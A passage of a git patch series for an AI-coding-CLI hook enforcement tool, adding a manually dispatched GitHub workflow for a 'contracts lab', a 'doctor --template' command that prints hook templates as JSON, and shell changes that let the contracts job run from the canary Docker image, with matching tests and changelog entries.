secrets.CURSOR_TOKEN_TGZ_B64 }} + DEVIN_TOKEN_TGZ_B64: ${{ secrets.DEVIN_TOKEN_TGZ_B64 }} + ANTIGRAVITY_TOKEN_TGZ_B64: ${{ secrets.ANTIGRAVITY_TOKEN_TGZ_B64 }} + # The contracts runner instead of the canary's, and the daemon is not + # optional: recordHookShape has one call site and it is in the warm + # worker, so an in-process run would probe 12 CLIs and publish an empty + # pack that reads as 12 silent vendors. + CANARY_RUNNER: contracts-runner.sh + CANARY_DAEMON: "1" + CANARY_CHANNEL: stable + CANARY_CLIS: ${{ inputs.clis }} + CONTRACTS_OUT_DIR: ${{ github.workspace }}/contracts-out + CONTRACTS_PACK: ${{ github.workspace }}/contracts-out/pack.json + CONTRACTS_TEMPLATE: ${{ steps.candidate.outputs.path }} + run: bash integration-suite/ci-entrypoint.sh + + # Always, even on a failing run: a pack from a run that went wrong is still + # evidence, and withholding it hides the diff that explains why. + - name: Upload the pack + if: always() + uses: actions/upload-artifact@v7 + with: + name: contracts-pack + path: ${{ github.workspace }}/contracts-out/ + if-no-files-found: warn + + # Deliberately last, deliberately opt-in, and deliberately skipped when the + # run itself failed: publishing a pack assembled from a run that exercised + # nothing would overwrite a good one with silence, which is worse than + # publishing nothing. + - name: Publish to the contracts repo + if: ${{ inputs.publish && success() }} + env: + CONTRACTS_REPO: ${{ vars.CONTRACTS_REPO }} + CONTRACTS_TOKEN: ${{ secrets.CONTRACTS_TOKEN }} + run: | + if [ -z "${CONTRACTS_REPO:-}" ] || [ -z "${CONTRACTS_TOKEN:-}" ]; then + echo "::warning::publish requested but CONTRACTS_REPO / CONTRACTS_TOKEN are not both set" + exit 0 + fi + bash integration-suite/contracts-publish.sh "$GITHUB_WORKSPACE/contracts-out/pack.json" diff --git a/CHANGELOG.md b/CHANGELOG.md index 0f7431c68..0eafe1e62 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -100,6 +100,8 @@ The plumbing refuses the quiet failures too: a named candidate file that is missing is an error rather than a fall-through to the bundled template, since proving the shipped template by accident would report `OK` and mean nothing; the probes run as sibling containers so the file is mounted rather than merely exported, an environment variable naming a host path being useless inside them; an `OK` from a run that did NOT install the candidate never publishes it; and a pack with nothing proven carries no `templates` key at all, because an empty object claims something different from its absence. (#PR) +- Add a `Contracts Lab` workflow, so the lab can be run from GitHub — and, more to the point, so a candidate template can be proven without the box. It takes the candidate as a dispatch input, stages it to a file (the probes are sibling containers, so an environment variable naming a runner path would point at nothing inside them), rejects a malformed one before any probe runs, uploads the pack even when the run failed, and publishes only when explicitly asked AND the run succeeded. Dispatch-only, like its sibling: it drives real vendor CLIs against a real gateway, so anything that can trigger it can reach the whole secret set. It reuses `ci-entrypoint.sh` and the existing `cli-integration` Environment rather than a second copy of the credentials, which would be a second thing to rotate. (#PR) + ### Fixes - **Reinstalling could not recover a config whose container type a vendor changed** — the bug that makes the drift class above permanent rather than merely bad. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there: copilot's `settings.hooks ??= {}` keeps a pre-existing **array**, the following `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops it, and the file written back is byte-identical to the broken one. A user could run `policies --install` forever, stay completely unenforced, and see success reported every time. `resetMistypedContainers` learns the expected type by running the writer against an empty object — no table to maintain, so it cannot go stale — and is asserted to be a no-op for every integration on a config that integration just wrote, which is the invariant that makes it safe on every install. Settings writes are now atomic (temp file plus rename, preserving mode), so a crash mid-write can no longer leave a truncated config that no CLI will load. (#PR) diff --git a/__tests__/integration-suite/contracts-lab.test.ts b/__tests__/integration-suite/contracts-lab.test.ts index adf54c94c..c4bdb80d1 100644 --- a/__tests__/integration-suite/contracts-lab.test.ts +++ b/__tests__/integration-suite/contracts-lab.test.ts @@ -31,6 +31,7 @@ const jobSh = read(path.join(LOCAL, "jobs", "contracts.sh")); const promoteSh = read(path.join(SUITE, "contracts-promote.sh")); const runJobSh = read(path.join(LOCAL, "run-job.sh")); const installSh = read(path.join(LOCAL, "install.sh")); +const workflow = read(path.join(SUITE, "..", ".github", "workflows", "contracts-lab.yml")); describe("the lab cannot run in a configuration that records nothing", () => { it("refuses to start without the daemon binary", () => { @@ -149,6 +150,43 @@ describe("the box knows about the job", () => { }); }); +describe("the cloud escape hatch", () => { + it("runs on manual dispatch only, so a fork PR can never reach the credentials", () => { + // It drives real vendor CLIs against a real gateway, so the whole secret set + // is in reach of anything that can trigger it. + expect(workflow).toMatch(/^on:\n workflow_dispatch:/m); + expect(workflow).not.toMatch(/^\s+pull_request:/m); + }); + + it("asks the entrypoint for the contracts runner, with the daemon on", () => { + // Without the daemon it would probe 12 CLIs and publish an empty pack that + // reads as 12 silent vendors. + expect(workflow).toMatch(/CANARY_RUNNER: contracts-runner\.sh/); + expect(workflow).toMatch(/CANARY_DAEMON: "1"/); + }); + + it("stages a candidate to a FILE, because the probes are sibling containers", () => { + // An environment variable naming a runner path would point at nothing + // inside them; contracts-runner.sh mounts this file. + expect(workflow).toMatch(/RUNNER_TEMP\/candidates\.json/); + expect(workflow).toMatch(/CONTRACTS_TEMPLATE: \$\{\{ steps\.candidate\.outputs\.path \}\}/); + }); + + it("rejects a malformed candidate before any probe runs", () => { + // Falling through to the bundled template would report OK and mean nothing. + expect(workflow).toContain("not a JSON object"); + }); + + it("never publishes from a failed run, and only when asked", () => { + expect(workflow).toMatch(/if: \$\{\{ inputs\.publish && success\(\) \}\}/); + }); + + it("keeps the pack even when the run failed", () => { + // A pack from a run that went wrong is still evidence. + expect(workflow).toMatch(/name: Upload the pack\n\s+if: always\(\)/); + }); +}); + describe("publishing", () => { it("never publishes from a run that could not be trusted", () => { // rc=2 is "nothing was exercised" or "a probe errored". Overwriting a good From 016c71cef0bb016152a61580c822ec741dcf2dd8 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 18:31:27 +0530 Subject: [PATCH 17/18] Print the template, so a candidate can be authored without reading TypeScript MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `doctor --template=` emits the resolved template — bundled, or whatever the machine is actually using — wrapped by CLI, which is the exact shape a candidate file takes. Editing one field and handing it to the lab replaces reading a TypeScript object and rebuilding it by hand, which is the transcription error this whole refactor was meant to remove. It answers from disk and does not refresh the pack first, unlike the other modes on this command: printing what a machine is using now must not wait on a network it may not have. --- CHANGELOG.md | 2 ++ __tests__/hooks/doctor-cli.test.ts | 34 +++++++++++++++++++++++++++++ bin/failproofai.mjs | 5 +++++ src/hooks/doctor-cli.ts | 35 ++++++++++++++++++++++++++++++ 4 files changed, 76 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0eafe1e62..991d371c0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -102,6 +102,8 @@ - Add a `Contracts Lab` workflow, so the lab can be run from GitHub — and, more to the point, so a candidate template can be proven without the box. It takes the candidate as a dispatch input, stages it to a file (the probes are sibling containers, so an environment variable naming a runner path would point at nothing inside them), rejects a malformed one before any probe runs, uploads the pack even when the run failed, and publishes only when explicitly asked AND the run succeeded. Dispatch-only, like its sibling: it drives real vendor CLIs against a real gateway, so anything that can trigger it can reach the whole secret set. It reuses `ci-entrypoint.sh` and the existing `cli-integration` Environment rather than a second copy of the credentials, which would be a second thing to rotate. (#PR) +- Add `failproofai doctor --template=`, which prints the template that machine writes the CLI's config from, wrapped as the JSON a candidate file wants. Authoring a candidate otherwise meant reading TypeScript and hand-copying a structure — exactly the transcription error templates exist to remove — so the workflow is now edit one field and hand it to the lab. It answers from disk and never reaches for the network, unlike the other modes on that command. (#PR) + ### Fixes - **Reinstalling could not recover a config whose container type a vendor changed** — the bug that makes the drift class above permanent rather than merely bad. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there: copilot's `settings.hooks ??= {}` keeps a pre-existing **array**, the following `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops it, and the file written back is byte-identical to the broken one. A user could run `policies --install` forever, stay completely unenforced, and see success reported every time. `resetMistypedContainers` learns the expected type by running the writer against an empty object — no table to maintain, so it cannot go stale — and is asserted to be a no-op for every integration on a config that integration just wrote, which is the invariant that makes it safe on every install. Settings writes are now atomic (temp file plus rename, preserving mode), so a crash mid-write can no longer leave a truncated config that no CLI will load. (#PR) diff --git a/__tests__/hooks/doctor-cli.test.ts b/__tests__/hooks/doctor-cli.test.ts index cb21294c5..0c6cc8d3d 100644 --- a/__tests__/hooks/doctor-cli.test.ts +++ b/__tests__/hooks/doctor-cli.test.ts @@ -539,3 +539,37 @@ describe("doctor --corroborate: the promotion gate", () => { expect(out).not.toContain("Payload translation"); }); }); + +describe("doctor --template: authoring a candidate", () => { + it("prints the resolved template as the JSON a candidate file wants", () => { + // Authoring one otherwise means reading TypeScript and hand-copying a + // structure — exactly the transcription error templates exist to remove. + const r = runDoctorCommand(["--template=copilot"]); + expect(r.exitCode).toBe(0); + const parsed = JSON.parse(text(r)) as Record; + // Wrapped by CLI, so the output can be edited and handed straight to the lab. + expect(Object.keys(parsed)).toEqual(["copilot"]); + expect(parsed.copilot.commandFields).toEqual(["bash", "powershell"]); + }); + + it("names the CLIs it can print for when asked about one it cannot", () => { + const r = runDoctorCommand(["--template=nope"]); + expect(r.exitCode).toBe(2); + expect(text(r)).toContain("goose"); + }); + + it("prints only that, with none of the report", () => { + const out = text(runDoctorCommand(["--template=goose"])); + expect(out).not.toContain("hook configs on this machine"); + expect(() => JSON.parse(out)).not.toThrow(); + }); + + it("answers from disk without reaching for the network", async () => { + // The async front door refreshes the pack for other modes; printing a + // template must not wait on it. + process.env.FAILPROOFAI_CONTRACTS_URL = "http://127.0.0.1:1/nothing-listening"; + const r = await runDoctorCommandAsync(["--template=goose"]); + delete process.env.FAILPROOFAI_CONTRACTS_URL; + expect(r.exitCode).toBe(0); + }); +}); diff --git a/bin/failproofai.mjs b/bin/failproofai.mjs index 697554efa..b45e0a362 100755 --- a/bin/failproofai.mjs +++ b/bin/failproofai.mjs @@ -786,6 +786,7 @@ failproofai doctor — check that this machine's hook configs are still wired up USAGE failproofai doctor [--fix] [--json] [--refresh] [--user|--project] failproofai doctor --corroborate + failproofai doctor --template= WHAT IT CHECKS Two things, with different remedies. @@ -806,6 +807,10 @@ OPTIONS did not take --json machine-readable output --refresh fetch the contracts lab's latest pack before checking + --template= + print the template this machine writes that CLI's config from, as + the JSON a candidate file wants — edit one field and hand it to + the lab rather than rebuilding the object by hand --corroborate answer ONLY "does this machine agree with the lab's pack?", for the promotion gate. Exits 0 corroborated, 1 contradicted, 2 diff --git a/src/hooks/doctor-cli.ts b/src/hooks/doctor-cli.ts index 381b10be5..17ccb60e7 100644 --- a/src/hooks/doctor-cli.ts +++ b/src/hooks/doctor-cli.ts @@ -45,6 +45,7 @@ import { import { corroborateContractPack } from "./contract-corroborate"; import { contractTableFile } from "./fp-home"; import { resolveTemplate } from "./template-source"; +import { HOOK_TEMPLATES } from "./config-template"; import type { HookScope } from "./types"; /** @@ -58,6 +59,9 @@ import type { HookScope } from "./types"; */ const MAX_RECENT_PROJECTS = 8; +/** CLIs whose config is written from a template, for the error message. */ +const TEMPLATED_CLIS = Object.keys(HOOK_TEMPLATES).sort(); + /** * How many activity pages to walk back through, newest first. * @@ -135,6 +139,8 @@ interface DoctorOptions { refresh: boolean; /** Answer only "does this machine agree with the lab's pack?" and nothing else. */ corroborate: boolean; + /** Print the template a CLI's config is written from, and nothing else. */ + template?: string; } function parseArgs(argv: readonly string[]): DoctorOptions | { error: string } { @@ -158,6 +164,7 @@ function parseArgs(argv: readonly string[]): DoctorOptions | { error: string } { // the argument parser does not reject it. else if (arg === "--refresh") opts.refresh = true; else if (arg === "--corroborate") opts.corroborate = true; + else if (arg.startsWith("--template=")) opts.template = arg.slice("--template=".length); else if (arg === "--user") { opts.scopes = ["user"]; opts.recentProjects = false; @@ -244,6 +251,7 @@ export function runDoctorCommand(argv: readonly string[] = []): DoctorResult { if ("error" in parsed) { return { lines: [parsed.error, "Run `failproofai doctor --help` for usage."], exitCode: 2 }; } + if (parsed.template !== undefined) return runPrintTemplate(parsed.template); const targets = targetsFor(parsed); @@ -563,6 +571,30 @@ function renderLab(fromLab: readonly ContractComparison[], opts: DoctorOptions): return lines; } +/** + * Print the template a CLI's config is currently written from. + * + * Authoring a candidate otherwise means reading TypeScript and hand-copying a + * structure, which is exactly the transcription error the templates exist to + * remove. This prints the resolved one — bundled, or whatever the machine is + * actually using — as the JSON a candidate file wants, so the workflow is edit + * one field rather than rebuild the object. + */ +function runPrintTemplate(cli: string): DoctorResult { + let resolved: ReturnType; + try { + resolved = resolveTemplate(cli); + } catch { + return { + lines: [`No hook template for "${cli}". Templated CLIs: ${TEMPLATED_CLIS.join(", ")}.`], + exitCode: 2, + }; + } + // The wrapping object is what a candidate file looks like, so this output can + // be edited and handed straight to the lab. + return { lines: [JSON.stringify({ [cli]: resolved.template }, null, 2)], exitCode: 0 }; +} + /** * "Does this machine agree with what the lab measured?" * @@ -637,6 +669,9 @@ function runCorroborate(fetched: PackFetchOutcome): DoctorResult { export async function runDoctorCommandAsync(argv: readonly string[] = []): Promise { // Only on the paths that asked for it: the scheduled lane, or an explicit // --refresh. An interactive `doctor` must never wait on the network. + // Printing a template answers from what is already on disk, so it must not + // reach for the network first. + if (argv.some((a) => a.startsWith("--template="))) return runDoctorCommand(argv); const corroborate = argv.includes("--corroborate"); let fetched: PackFetchOutcome = { status: "skipped", reason: "not requested" }; if (corroborate || argv.includes("--scheduled") || argv.includes("--refresh")) { From 8d737d8b3d3ecdb279bee81ef1ceeebe639abb7d Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 18:40:45 +0530 Subject: [PATCH 18/18] Fit the contracts job to the baked-image model it landed beside MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit #705 moved the box from one shared image that cloned at run time to one image per job with the checkout baked in, and replaced runner-entrypoint.sh with job-entrypoint.sh. The contracts job was written against the old shape and rebased cleanly onto the new one, which is the dangerous kind of clean: it would have run and quietly done the wrong thing. THE SIBLING MOUNT is the part that actually breaks. Everything this job spawns is a sibling container, so the HOST daemon resolves its `-v` sources against the HOST filesystem — and the image's checkout lives at a path that exists only inside the job container. Mounting it into a probe silently mounts an EMPTY directory. The canary hit exactly this and answers it by materialising the baked tree under the one work dir that means the same thing on both sides; contracts mounts `/repo` into every probe, so it needs the same answer. The block is lifted verbatim rather than paraphrased, and a test compares the two so they cannot drift. It runs from the CANARY IMAGE rather than a fourth of its own. It needs exactly what that one has — the baked checkout, the docker client, a compiled failproofaid — and the checkout carries every job script, so CANARY_JOB selects this one out of the same image. A fourth near-identical image would be a fourth thing to build, publish and keep in step for no capability the canary lacks. Also: the SHA now comes from the baked value with a git fallback for by-hand runs, and the entrypoint named in the error message is the one that exists. --- .../integration-suite/contracts-lab.test.ts | 29 ++++++++++++ .../integration-suite/local-runner.test.ts | 9 +++- integration-suite/local/jobs/contracts.sh | 47 +++++++++++++++++-- integration-suite/local/run-job.sh | 8 +++- 4 files changed, 86 insertions(+), 7 deletions(-) diff --git a/__tests__/integration-suite/contracts-lab.test.ts b/__tests__/integration-suite/contracts-lab.test.ts index c4bdb80d1..67575c1bf 100644 --- a/__tests__/integration-suite/contracts-lab.test.ts +++ b/__tests__/integration-suite/contracts-lab.test.ts @@ -126,6 +126,35 @@ describe("one entrypoint, two runners", () => { }); describe("the box knows about the job", () => { + it("runs from the canary image, which already has everything it needs", () => { + // The baked checkout, the docker client and a compiled failproofaid. A + // fourth near-identical image would be a fourth thing to build, publish and + // keep in step, for no capability the canary image lacks. + expect(runJobSh).toMatch(/IMAGE_JOB="\$JOB"; \[ "\$JOB" = contracts \] && IMAGE_JOB=canary/); + }); + + it("materialises the baked tree exactly as the canary does", () => { + // Everything this job spawns is a SIBLING, so the host daemon resolves its + // `-v` sources against the HOST filesystem. The image's checkout lives at a + // path that exists only inside the job container — mounting it into a probe + // silently mounts an empty directory. The two copies of this must not + // diverge, so they are compared rather than described. + const lift = (src: string) => { + const m = /(# Everything this job spawns is a sibling[\s\S]*?\nfi\n)/.exec(src); + expect(m, "materialisation block not found").not.toBeNull(); + return m![1]; + }; + expect(lift(jobSh)).toBe(lift(read(path.join(LOCAL, "jobs", "canary.sh")))); + }); + + it("names the entrypoint that actually exists", () => { + // runner-entrypoint.sh was replaced by job-entrypoint.sh when the checkout + // moved into the image; a job pointing at the old one is a job written + // against a model that is gone. + expect(jobSh).toContain("job-entrypoint.sh"); + expect(jobSh).not.toContain("runner-entrypoint.sh"); + }); + it("gives it the docker socket, because it fans out sibling containers", () => { expect(runJobSh).toMatch(/contracts\)\s+SOCK=\(-v \/var\/run\/docker\.sock/); }); diff --git a/__tests__/integration-suite/local-runner.test.ts b/__tests__/integration-suite/local-runner.test.ts index b6429a4d9..ca29cb5e0 100644 --- a/__tests__/integration-suite/local-runner.test.ts +++ b/__tests__/integration-suite/local-runner.test.ts @@ -143,10 +143,15 @@ describe("three job images, each baking the commit it runs", () => { expect(entrypointSh).toMatch(/-v \\"\\\$HOME\/fp-canary:\\\$HOME\/fp-canary\\"/); }); - it("the cron wrapper picks the image per job, and only the canary gets the socket", () => { - expect(runJobSh).toMatch(/ghcr\.io\/failproofai\/failproofai-\$JOB:latest/); + it("the cron wrapper picks the image per job, and only the jobs that spawn containers get the socket", () => { + expect(runJobSh).toMatch(/ghcr\.io\/failproofai\/failproofai-\$IMAGE_JOB:latest/); expect(runJobSh).toMatch(/IMAGE_VAR="CANARY_IMAGE_/); + // `contracts` is the exception to one-image-per-job: it needs exactly what + // the canary image has, and the baked checkout carries every job script, so + // CANARY_JOB picks it out of the same image. + expect(runJobSh).toMatch(/\[ "\$JOB" = contracts \] && IMAGE_JOB=canary/); expect(runJobSh).toMatch(/canary\)\s+SOCK=\(-v \/var\/run\/docker\.sock/); + expect(runJobSh).toMatch(/contracts\)\s+SOCK=\(-v \/var\/run\/docker\.sock/); expect(runJobSh).toMatch(/translate\)\s+SOCK=\(\)/); expect(runJobSh).toMatch(/--pull=always/); }); diff --git a/integration-suite/local/jobs/contracts.sh b/integration-suite/local/jobs/contracts.sh index ad56dc4d0..601738d00 100755 --- a/integration-suite/local/jobs/contracts.sh +++ b/integration-suite/local/jobs/contracts.sh @@ -11,8 +11,11 @@ # live hook contract, shaped exactly like the observation table a customer's own # machine keeps, so one comparator reads both. # -# Like the other jobs it lives IN THE REPO rather than the image: adding or -# changing a job is a checkout away, and nobody rebuilds the boss's image for it. +# It runs from the CANARY image rather than one of its own: it needs exactly what +# that image has — the baked checkout, the docker client, and a compiled +# failproofaid — and a fourth near-identical image is a fourth thing to build, +# publish and keep in step. `CANARY_JOB=contracts` selects this script out of the +# same baked tree. # # WHY IT RUNS AT ALL, given the canary already probes twelve CLIs daily: the # canary is version-gated and verdict-shaped. It tells us a CLI went red; it does @@ -22,7 +25,7 @@ # ───────────────────────────────────────────────────────────────────────────── set -u -WORK="${CANARY_WORK:?CANARY_WORK missing — runner-entrypoint.sh sets it}" +WORK="${CANARY_WORK:?CANARY_WORK missing — job-entrypoint.sh sets it}" CLONE="${CANARY_CLONE:-$WORK/clone-contracts}" LOGS="$WORK/logs" OUT="$WORK/contracts" @@ -42,11 +45,47 @@ docker info >/dev/null 2>&1 || { echo "✗ the docker socket is mounted but the daemon does not answer." >&2; exit 1; } TS="$(date -u +%Y%m%dT%H%M%SZ)" -FP_SHA="$(git -C "$CLONE" rev-parse --short HEAD)" +# The image is the commit, so the SHA comes from the baked value the entrypoint +# exported. The git fallback keeps this working when the job is run by hand from +# a real checkout, which is how it is developed. +FP_SHA="${CANARY_FP_SHA:-$(git -C "$CLONE" rev-parse --short HEAD 2>/dev/null || echo unknown)}" LOG="$LOGS/contracts-$TS.log" PACK="$OUT/pack.json" echo "── contracts run $TS: ${CANARY_REF:-?} @ $FP_SHA ──" +# Everything this job spawns is a sibling, not a child: the HOST daemon resolves +# their `-v` sources against the HOST filesystem. The image's checkout lives at +# /opt/failproofai, which exists only inside THIS container — mounting it into a +# probe container silently mounts an empty directory, and the first thing that +# goes wrong is `bash: /opt/canary/install-clis.sh: No such file or directory`. +# (Found exactly that way, running the real job from the built image.) +# +# The work dir is the one path that means the same thing on both sides — that is +# what the identical-path mount is FOR — so the baked tree is materialised there. +# Keyed by the baked SHA and skipped when it already matches, so this is a copy +# once per published image rather than once per run, and still no clone, no +# install and no build. The daemon binary rides along for the same reason: its +# baked path is equally unreachable from a sibling. +if [ -n "${CANARY_BAKED_SHA:-}" ]; then + HOST_REPO="$WORK/repo" + if [ "$(cat "$HOST_REPO/.baked-sha" 2>/dev/null || echo none)" != "$FP_SHA" ]; then + echo "materialising the baked tree at $HOST_REPO (first run of $FP_SHA)" + rm -rf "$HOST_REPO.tmp" + cp -a "$CLONE" "$HOST_REPO.tmp" || { echo "✗ could not copy the baked tree" >&2; exit 1; } + if [ -x "${CANARY_DAEMON_BIN:-}" ]; then + mkdir -p "$HOST_REPO.tmp/.bin" + cp -a "$CANARY_DAEMON_BIN" "$HOST_REPO.tmp/.bin/failproofaid" + fi + printf '%s\n' "$FP_SHA" > "$HOST_REPO.tmp/.baked-sha" + rm -rf "$HOST_REPO"; mv "$HOST_REPO.tmp" "$HOST_REPO" + else + echo "reusing the materialised tree at $HOST_REPO ($FP_SHA)" + fi + CLONE="$HOST_REPO" + export CANARY_CLONE="$CLONE" + [ -x "$HOST_REPO/.bin/failproofaid" ] && export CANARY_DAEMON_BIN="$HOST_REPO/.bin/failproofaid" +fi + slack_note() { # $1 = text; best-effort, never fails the run [ -n "${CANARY_SLACK_WEBHOOK:-}" ] || return 0 local payload diff --git a/integration-suite/local/run-job.sh b/integration-suite/local/run-job.sh index f16495707..34a201d4e 100755 --- a/integration-suite/local/run-job.sh +++ b/integration-suite/local/run-job.sh @@ -44,7 +44,13 @@ esac # publish or pointing a test box at a locally built tag. It is read per job so a # pin cannot silently redirect the other two at the same image. IMAGE_VAR="CANARY_IMAGE_$(printf '%s' "$JOB" | tr 'a-z-' 'A-Z_')" -IMAGE="${!IMAGE_VAR:-${CANARY_IMAGE:-ghcr.io/failproofai/failproofai-$JOB:latest}}" +# `contracts` runs from the CANARY image. It needs exactly what that one has — +# the baked checkout, the docker client, a compiled failproofaid — and the +# checkout carries every job script, so CANARY_JOB picks this one out of it. A +# fourth near-identical image would be a fourth thing to build, publish and keep +# in step, for no capability the canary image lacks. +IMAGE_JOB="$JOB"; [ "$JOB" = contracts ] && IMAGE_JOB=canary +IMAGE="${!IMAGE_VAR:-${CANARY_IMAGE:-ghcr.io/failproofai/failproofai-$IMAGE_JOB:latest}}" [ -f "$W/secrets.env" ] || { echo "✗ no credentials at $W/secrets.env" >&2; exit 1; }